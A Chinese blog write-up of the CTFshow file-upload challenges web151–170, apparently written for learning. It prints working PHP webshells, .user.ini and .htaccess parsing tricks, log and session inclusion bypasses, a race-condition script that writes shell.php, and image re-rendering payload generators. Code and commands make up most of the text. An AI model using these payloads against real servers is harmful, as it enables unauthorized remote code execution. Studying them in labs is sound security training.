CTFshow 文件上传web151-170

发布于: 2024-07-30 22:52

在linux服务器类型的文件上传,大多考察前端验证文件类型,后端验证content-type、文件名、扩展名、文件头、文件内容等

web 151 前端验证

f12看源码js,没有学过js大概也可以看出来这个功能,只允许png上传

png

前端js防君子不防小人(😀),把png修改为php,或者添加php都可以

php

lay-data="{url: 'upload.php', accept: 'images',exts:'png|php'}

修改后就可以上传木马了

web 152 验证content-type

f12看源码,像上题一样做。会报错类型错误

f12

那么应该是post报文里的content-type被检测到了,用bp抓包修改一下,修改为允许的png图片的content-type类型

post

把1.png木马名改回1.php,content-type修改为image/png就可以上传了

web 153

这次后端验证文件名,只能上传png图片马了,利用.user.ini配置文件来包含图片马 准备一个马1.php,修改为png后缀,直接上传1.png

准备一个.user.png文件,用bp修改为原来的.user.ini名字,.user.ini内容

ini

写一个配置项即可

# 在所有页面加载前,自动包含指定文件,文件内的php代码会正常执行
auto_prepend_file=1.png
# 在文件加载后包含
auto_append_file=1.png

提示成功上传到/upload/目录下,到upload目录下成功解析为php木马

upload

web 154 文件内容验证

正常上传一个图片马,提示内容不合规

upload

(稍加思索.png),大概是文件内容开头的<?php被检测到了,稍加修改

<?=highlight_file(__FILE__);eval($_GET[1]);?>

上传成功。那么再试试上一题的.user.ini还能不能用,上传.user.png,bp修改为.user.ini,成功上传并解析php代码

=

web 155 内容检测

正常上传图片马,提示文件类型不对??用上题的方法可以正常做出来。

好奇。用上题的方法挂马后查看一下这题的源码,真的还是检测文件内容

if($_FILES['file']['type'] == 'image/png'){
            $arr = pathinfo($filename);
            $ext_suffix = $arr['extension'];
            if($ext_suffix!='php'){
                $content = file_get_contents($_FILES["file"]["tmp_name"]);
                if(stripos($content, "php")===FALSE){
                    move_uploaded_file($_FILES["file"]["tmp_name"], "upload/".$_FILES["file"]["name"]);
                    $ret = array("code"=>0,"msg"=>"upload/".$_FILES["file"]["name"]);
                }else{
                    $ret = array("code"=>2,"msg"=>"文件类型不合规");
                }

            }else{
                $ret = array("code"=>2,"msg"=>"文件类型不合规");
            }

        }else{
            $ret = array("code"=>2,"msg"=>"文件类型不合规");
        }

web 156 内容检测

这次还是内容检测。过滤了'php'字符串,'[]'中括号等。学到了新方法。原来还能用花括号

花花

<?=eval($_GET{1});?>

花花

又get到了

web 157 内容检测

这题又过滤了{}花括号,分号,'log'。思路还和上面一样,不过变成了RCE类型的题目了

还是正常上传.user.png文件,bp抓包把文件名改成.user.ini。接着处理图片马

<?=`ls /var/www/html`?>

现在直接使用反引号执行命令,没有分号用?>强制闭合

ls

每个马执行一条命令,过滤了'php',用统配符处理

<?=`tac /var/www/html/f*`?>

tac

web 158 内容检测

同上

preg_match('/php|\{|\[|\;|log/i', $str);

检查upload.php源码发现过滤新增了log,那么上一题题应该考察日志包含了,或许这题考察的才是反引号命令执行?

<?=include'/var/log/nginx/access.log'?>

我回去试试,等我

测试成功,看来web157考察的真是日志包含,不过既然include结构和函数都能用,那么session包含应该也是行动通的,师傅们可以试试

log

往后做了几题后猛回头,既然.user.ini中的auto_prepend_file配置项功能就是文件包含,那么为什么多次一举再用一个1.png的图片马来实现文件包含,日志包含,session包含呢?不太行,php可以利用.来实现拼接绕过过滤,ini文件不能拼接没有php玩法多,禁用'log'直接g,我们是聪明宝贝不上当(柴郡猫猫)

web 159 内容检测

还是可以上面用反引号命令执行马的玩法,进行上传测试,成功。

<?=`tac /var/www/html/f*`?>

部分源码

preg_match('/php|\{|\[|\;|log|\(/i', $str);

看upload.php源码,这回过滤了英文半角括号,禁用函数了,不过include语法结构还是可以用的,log过滤了,师傅们可以试试session包含,需要条件竞争

<?=include'/tmp/sess_sessionID'>

web 160 内容检测

反引号执行命令的方法行不通了,大抵被ban了,看了师傅们的做法,又学到了,本以为禁用'log'就不能文件包含了,没想到师傅们竟然拼接来实现了

<?=include"/var/lo"."g/nginx/access.lo"."g"?>

log

查看源码,过滤了空格和反引号

preg_match('/php|\{|\[|\;|log|\(| |\`/i', $str);

web 161 检测文件头

这题添加新的限制:文件头,给上面图片马添加了一个GIF89a的文件头,上传成功

GIF89a
<?=include"/var/lo"."g/nginx/access.lo"."g"?>

.user.ini也要加上GIF89a文件头,上传成功 add

讲讲其他

这道题的部分源码

if($ext_suffix!='php'){
                $content = file_get_contents($_FILES["file"]["tmp_name"]);
                if(stripos($content, "php")===FALSE && check($content) && getimagesize($_FILES["file"]["tmp_name"])){
                    move_uploaded_file($_FILES["file"]["tmp_name"], "upload/".$_FILES["file"]["name"]);
                    $ret = array("code"=>0,"msg"=>"upload/".$_FILES["file"]["name"]);
                }else{
                    $ret = array("code"=>2,"msg"=>"文件类型不合规");
                }

            }else{
                $ret = array("code"=>2,"msg"=>"文件类型不合规");
            }

在第四行出现了getimagesize,看函数名就可以知道是检查图片文件大小,出题人竟然用在这里来检查是不是图片(恼),看到文件名我跳过去了,还疑惑为什么整份源码没有检查文件头的代码

看看官方文档PHP官方对该函数的解析

getimagesize

web 162 session包含

可恶!竟然还是躲不掉。到了紧张刺激的session包含,我之前写过一篇session包含

这题测试上一题的解法行不通了,应该是把.也过滤了,禁止通过拼接来绕过,那就试试session包含

图片马test.png,上传时bp把扩展名去掉

GIF89a
<?=include"/tmp/sess_Cola"?>

test

这个烧题,不带扩展名的文件也可以上传(恼),带GIF89a头过getimagesize函数,那玩法就多了

GIF89a
auto_prepend_file=test

把.user.ini传上去

ini

准备条件竞争脚本

import requests
import threading
import time

# 如果题目链接是https,换成http
# url = 'https://85a94ccd-c8d7-40ac-ae8f-38ce8f7febb6.challenge.ctf.show/'
url = 'http://c451c8da-a286-4835-a23a-bd6cd7e91f5a.challenge.ctf.show/upload/'
sessionid = 'Cola'
data = {
    # session文件内容
    'PHP_SESSION_UPLOAD_PROGRESS': '<?php file_put_contents("shell.php","<?php phpinfo();?>");?>',
    # session文件路径可能不同
}

file = {
    'file': sessionid
}

cookies = {
    'PHPSESSID': sessionid
}

# 上传文件函数
def upload_file():
    while True:
        response = requests.post(url, data=data, files=file, cookies=cookies)
        time.sleep(1)  # 为了避免发送请求过快,可以适当增加间隔时间

# 检查文件是否已创建
def check_file():
    while True:
        r = requests.get(url + 'shell.php')
        if r.status_code == 200:
            print('Webshell created successfully')
            print(r.text)
            break
        else:
            print('error:', r.status_code)
        # time.sleep(1)  # 为了避免发送请求过快,可以适当增加间隔时间

# 创建并启动线程
threads = []
for _ in range(5):  # 创建5个上传线程
    t = threading.Thread(target=upload_file)
    t.start()
    threads.append(t)

for _ in range(5):  # 创建5个检查线程
    t = threading.Thread(target=check_file)
    t.start()
    threads.append(t)

# 等待所有线程完成
for t in threads:
    t.join()

脚本跑完就写入shell.php了,木马内容可以在脚本里修改 shell

例如直接查看flag,注意转义

'PHP_SESSION_UPLOAD_PROGRESS': '<?php file_put_contents("shell.php","<?php system(\'tac /var/www/html/flag.php\');?>");?>',

flag

这题看别的师傅是使用vps,把ip转成单个数字避免.的出现来做的

web 163 条件竞争

这题如果上传上一题的test.png,以及.user.png,再去掉test.png的.png,把.user.ini修改为.user.ini时,页面会提示没有test这个文件,无法包含

url/test,到了首页,url/.user.ini会下载.user.ini,说明.user.ini还在,那么可以省略掉test.png这一步,让.user.ini直接给当前目录所有文件包含session文件

GIF89a
auto_prepend_file=/tmp/sess_Cola

上传.user.ini后,再次使用上题的脚本,发现这次跑了很久,不过还好,还是出来了

web 164 png二次渲染

参考大佬文章,又学到了

二次渲染 将一个正常显示的图片,上传到服务器。寻找图片被渲染后与原始图片部分对比仍然相同的数据块部分,将Webshell代码插在该部分,然后上传。具体实现需要自己编写Python程序,人工尝试基本是不可能构造出能绕过渲染函数的图片webshell的。 大佬链接:https://www.fujieace.com/penetration-test/upload-labs-pass-16.html

这题只能上传正常的png图片,在图片里做手脚添加PHP代码会二次渲染

网站会对图片进行二次处理(格式、尺寸,保存,删除 要求等),服务器会把里面的内容进行替换更新,处理完成后,根据我们原有的图片生成一个新的图片(标准化)并放到网站对应的标签进行显示。

这里借用二次渲染绕过脚本

<?php
$p = array(0xa3, 0x9f, 0x67, 0xf7, 0x0e, 0x93, 0x1b, 0x23,
           0xbe, 0x2c, 0x8a, 0xd0, 0x80, 0xf9, 0xe1, 0xae,
           0x22, 0xf6, 0xd9, 0x43, 0x5d, 0xfb, 0xae, 0xcc,
           0x5a, 0x01, 0xdc, 0x5a, 0x01, 0xdc, 0xa3, 0x9f,
           0x67, 0xa5, 0xbe, 0x5f, 0x76, 0x74, 0x5a, 0x4c,
           0xa1, 0x3f, 0x7a, 0xbf, 0x30, 0x6b, 0x88, 0x2d,
           0x60, 0x65, 0x7d, 0x52, 0x9d, 0xad, 0x88, 0xa1,
           0x66, 0x44, 0x50, 0x33);



$img = imagecreatetruecolor(32, 32);

for ($y = 0; $y < sizeof($p); $y += 3) {
   $r = $p[$y];
   $g = $p[$y+1];
   $b = $p[$y+2];
   $color = imagecolorallocate($img, $r, $g, $b);
   imagesetpixel($img, round($y / 3), 0, $color);
}
imagepng($img,'1.png');  //要修改的图片的路径

/* 木马内容
<?$_GET[0]($_POST[1]);?>
 */
//imagepng($img,'1.png');  要修改的图片的路径,1.png是使用的文件,可以不存在
//会在目录下自动创建一个1.png图片
//图片脚本内容:$_GET[0]($_POST[1]);
//使用方法:例子:查看图片,get传入0=system;post传入tac flag.php
?>

二次渲染绕过图片马

cola

测试成功

success

这里执行命令看不到结果,可以下载图片,Notepad++打开看图片内容,命令执行回显在图片里,也可以直接把flag输出到新文件里

tac

flag

疑惑:这题的图片为什么会解析PHP代码?

$file= $_GET['image'];

$file = strrev($file);
$ext = strrev(substr($file, 0,4));
if($ext==='.png' && file_exists("./upload/".strrev($file))){
    header('Content-Type:image/png');
    include("./upload/".strrev($file));
}else{
    echo "图片错误";
}

在这个查看图片的页面使用了include文件包含,通过Get传参来包含指定文件,但有限制了目录,所以似乎不能日志包含等等操作

web 165 jpg二次渲染

参考:

jpg二次渲染图片马不能靠脚本直接生成,你需要先上传原图,再ctrl+s把渲染后的图片再保存下来,现在你才可以使用下面脚本再次渲染 此处驻留甚久,告之后来者

很多情况下,直接在本地随便造一个带 payload 的 JPG 上传会失败;更稳的思路是先拿到服务端二次渲染后的输出作为基准,再基于该输出尝试构造能在再次渲染后仍保持特征的数据

jpg二次渲染脚本

<?php
    /*
将有效载荷注入JPG图像的算法,该算法在PHP函数imagecopyresized()和imagecopyresampled()引起的变换后保持不变。
初始图像的大小和质量必须与处理后的图像的大小和质量相同。
1)通过安全文件上传脚本上传任意图像
2)保存处理后的图像并启动:
php 文件名.php <文件名.jpg >
如果注射成功,您将获得一个特制的图像,该图像应再次上传。
由于使用了最直接的注射方法,可能会出现以下问题:
1)在第二次处理之后,注入的数据可能变得部分损坏。
jpg _ payload.php脚本输出“有问题”。
如果发生这种情况,请尝试更改有效载荷(例如,在开头添加一些符号)或尝试另一个初始图像。
谢尔盖·博布罗夫@Black2Fan。
另请参见:
https://www . idontplaydarts . com/2012/06/encoding-we B- shell-in-png-idat-chunks/
*/

    $miniPayload = '<?=eval($_POST[1]);?>';


    if(!extension_loaded('gd') || !function_exists('imagecreatefromjpeg')) {
        die('php-gd is not installed');
    }

    if(!isset($argv[1])) {
        die('php jpg_payload.php <jpg_name.jpg>');
    }

    set_error_handler("custom_error_handler");

    for($pad = 0; $pad < 1024; $pad++) {
        $nullbytePayloadSize = $pad;
        $dis = new DataInputStream($argv[1]);
        $outStream = file_get_contents($argv[1]);
        $extraBytes = 0;
        $correctImage = TRUE;

        if($dis->readShort() != 0xFFD8) {
            die('Incorrect SOI marker');
        }

        while((!$dis->eof()) && ($dis->readByte() == 0xFF)) {
            $marker = $dis->readByte();
            $size = $dis->readShort() - 2;
            $dis->skip($size);
            if($marker === 0xDA) {
                $startPos = $dis->seek();
                $outStreamTmp = 
                    substr($outStream, 0, $startPos) . 
                    $miniPayload . 
                    str_repeat("\0",$nullbytePayloadSize) . 
                    substr($outStream, $startPos);
                checkImage('_'.$argv[1], $outStreamTmp, TRUE);
                if($extraBytes !== 0) {
                    while((!$dis->eof())) {
                        if($dis->readByte() === 0xFF) {
                            if($dis->readByte !== 0x00) {
                                break;
                            }
                        }
                    }
                    $stopPos = $dis->seek() - 2;
                    $imageStreamSize = $stopPos - $startPos;
                    $outStream = 
                        substr($outStream, 0, $startPos) . 
                        $miniPayload . 
                        substr(
                            str_repeat("\0",$nullbytePayloadSize).
                                substr($outStream, $startPos, $imageStreamSize),
                            0,
                            $nullbytePayloadSize+$imageStreamSize-$extraBytes) . 
                                substr($outStream, $stopPos);
                } elseif($correctImage) {
                    $outStream = $outStreamTmp;
                } else {
                    break;
                }
                if(checkImage('payload_'.$argv[1], $outStream)) {
                    die('Success!');
                } else {
                    break;
                }
            }
        }
    }
    unlink('payload_'.$argv[1]);
    die('Something\'s wrong');

    function checkImage($filename, $data, $unlink = FALSE) {
        global $correctImage;
        file_put_contents($filename, $data);
        $correctImage = TRUE;
        imagecreatefromjpeg($filename);
        if($unlink)
            unlink($filename);
        return $correctImage;
    }

    function custom_error_handler($errno, $errstr, $errfile, $errline) {
        global $extraBytes, $correctImage;
        $correctImage = FALSE;
        if(preg_match('/(\d+) extraneous bytes before marker/', $errstr, $m)) {
            if(isset($m[1])) {
                $extraBytes = (int)$m[1];
            }
        }
    }

    class DataInputStream {
        private $binData;
        private $order;
        private $size;

        public function __construct($filename, $order = false, $fromString = false) {
            $this->binData = '';
            $this->order = $order;
            if(!$fromString) {
                if(!file_exists($filename) || !is_file($filename))
                    die('File not exists ['.$filename.']');
                $this->binData = file_get_contents($filename);
            } else {
                $this->binData = $filename;
            }
            $this->size = strlen($this->binData);
        }

        public function seek() {
            return ($this->size - strlen($this->binData));
        }

        public function skip($skip) {
            $this->binData = substr($this->binData, $skip);
        }

        public function readByte() {
            if($this->eof()) {
                die('End Of File');
            }
            $byte = substr($this->binData, 0, 1);
            $this->binData = substr($this->binData, 1);
            return ord($byte);
        }

        public function readShort() {
            if(strlen($this->binData) < 2) {
                die('End Of File');
            }
            $short = substr($this->binData, 0, 2);
            $this->binData = substr($this->binData, 2);
            if($this->order) {
                $short = (ord($short[1]) << 8) + ord($short[0]);
            } else {
                $short = (ord($short[0]) << 8) + ord($short[1]);
            }
            return $short;
        }

        public function eof() {
            return !$this->binData||(strlen($this->binData) === 0);
        }
    }
?>

这个php脚本的用法

# 生成二次渲染的jpg图片
php 文件名.php 文件名.jpg

gen

# 渲染后php木马内容
<?=eval($_POST[1]);?>

如果是自己准备的图片,上传后大概会失败

CTFshow群主推荐的二次渲染专用图

jpg

我准备了一个脚本(激动,终于成功了,师傅们一定要试一试!!!)

这个脚本的思路:准备任意 jpg 图片,上传到服务器,并保存一次渲染的成果图,然后,利用下面脚本,通过在一次渲染的成果图后面追加随机文本的方式,生成一个新的图片,并使用尝试使用上面的php脚本,嵌入 PHP 恶意代码,并自动把这个图片上传到远程服务器,测试图片马是否存活,如果存活则说明成功利用。

可以说是你只需要一张图片,脚本通过追加随机文本,通过制造文件级差异去碰运气,看服务端处理链路是否出现不同的异常/容错表现,实际并没有什么新意,你有足够多的 jpg 图片,手动上传也是一样的。

import requests
import random
import string

# 配置
image_path = 'payload_cola1.jpg'  # 图片路径
url = 'http://0092bb15-7d1d-4a6c-8f9d-c9ac4a6076fa.challenge.ctf.show/'
upload_url = url + 'upload.php'  # 上传接口 URL
get_url = url + 'download.php?image='  # 访问接口
output_path = 'success_image1.jpg'  # 保存路径

def generate_random_string(length):
    characters = string.ascii_letters + string.digits + string.punctuation
    return ''.join(random.choice(characters) for _ in range(length))

# 读取图片文件
with open(image_path, 'rb') as image_file:
    image_data = image_file.read()

while True:
    # 生成30到50位长度的随机字符串
    random_length = random.randint(30, 50)
    text_to_append = generate_random_string(random_length).encode('utf-8')  # 要追加的文本

    # 追加文本到图片数据
    modified_image_data = image_data + text_to_append
    # 在图片数据开头插入文本,报错
    # modified_image_data = text_to_append + image_data

    # 准备上传
    files = {'file': ('modified_image.jpg', modified_image_data, 'image/jpeg')}
    response = requests.post(upload_url, files=files)
    # 获取上传后的状态、文件名
    response_json = response.json()
    msg = response_json.get("msg")

    # 检查响应
    if response.status_code == 200:
        print('上传成功' + f"-----文件名 {msg}")

        # 测试图片接口
        img_url = get_url + str(msg)
        test_resp = requests.get(img_url)
        if test_resp.status_code == 200:
            print("图片测试成功")
            data = {"1":"phpinfo();"}
            eval_resp = requests.post(img_url,data=data)
            if "phpinfo" in eval_resp.text:
                print("木马已存活...")
                # 在成功检测到木马文件后保存修改后的文件
                with open(output_path, 'wb') as output_file:
                    output_file.write(modified_image_data)
                print(f'修改后的文件已保存到: {output_path}')
                break
            else:
                print("正在生成木马")
        else:
            print("图片上传失败,请检查图片")
    else:
        print(f'上传失败,状态码: {response.status_code}')
        print(f'响应内容: {response.text}')

res

放3组图,分别是原图,一次渲染图,以及成果图

原图

一次渲染图

成果图

再试一次... res

跑一下柴郡

原图

ori

一次渲染

one

成果图

two

res

注意:此脚本并未完善,存在已知bug:图片接受脚本处理后可能损坏,因此会无效死循环

web 166 zip上传

查看网页源码,这题需要上传zip文件,上传一个正经的zip文件,点下载文件,到了熟悉的文件包含界面

用notepad++在文件末尾添加php代码,点下载文件。看到包含的zip文件中的php代码成功解析了

zip

web 167 阿帕奇.htaccess配置文件

打开网络,可以看到网络里显示的nginx,上传一个jpg图片,访问,把图片文件名改错,报错显示apache

net

大佬回复:有前端代理

学习了

网站使用了 Nginx 作为前端代理,后端服务器运行 Apache。这种架构称为“反向代理”,它允许 Nginx 处理所有传入请求并将它们转发到后端的 Apache 服务器进行处理。

这种架构的优势在于可以利用 Nginx 和 Apache 各自的优势来提高性能和灵活性。通过前端代理,Nginx 可以有效管理请求和负载,而 Apache 专注于处理动态内容和应用逻辑。

后端是apache在处理,这题就可以尝试使用阿帕奇的.htaccess配置文件来把当前文件夹的其他类型文件作为php解析

jpg作为php解析

AddType application/x-httpd-php .jpg

所以文件都作为php解析

SetHandler application/x-http-php

把以上内容写入到.htacess.jpg文件中,bp抓包,把.jpg删掉

在上传jpg图片马就可以解析了

jpg

web 168 免杀

题目提到了免杀,做完时查看源码

preg_match('/eval|assert|assert|_POST|_GET|_COOKIE|system|shell_exec|include|require/i', $str);

注意,如果上传没有反应,检查一下

过滤了很多。如果你上传的png马里含有这些内容,你的图片都不会上传成功

这题没有其他限制,可以bp抓包把png改成php直接解析

文件上传到了html的同级目录upload下了,查看上一级下的所有文件内容

<?=passthru('tac ../*');?>

web 169 高级免杀

源码里看到,这题要上传zip文件,但content-type看起来是要image

image

题目没有检查zip有没有猫腻,直接把zip内容改成php代码试试,上传zip,把content-type改成image/png

<?=phpinfo();?>

php

把php代码删掉。只留标记也会上传失败,这个php文件没的玩了

php

空的php文件还能上传,确实挺不错的

php

还可以试试.user.ini文件包含,把日志包含到1.php里

auto_prepend_file=/var/log/nginx/access.log

ini

上传成功,.user.ini在upload目录下,那么我们也要到upload目录下的php页面

log

web 170 终极免杀

上一关方法仍然适用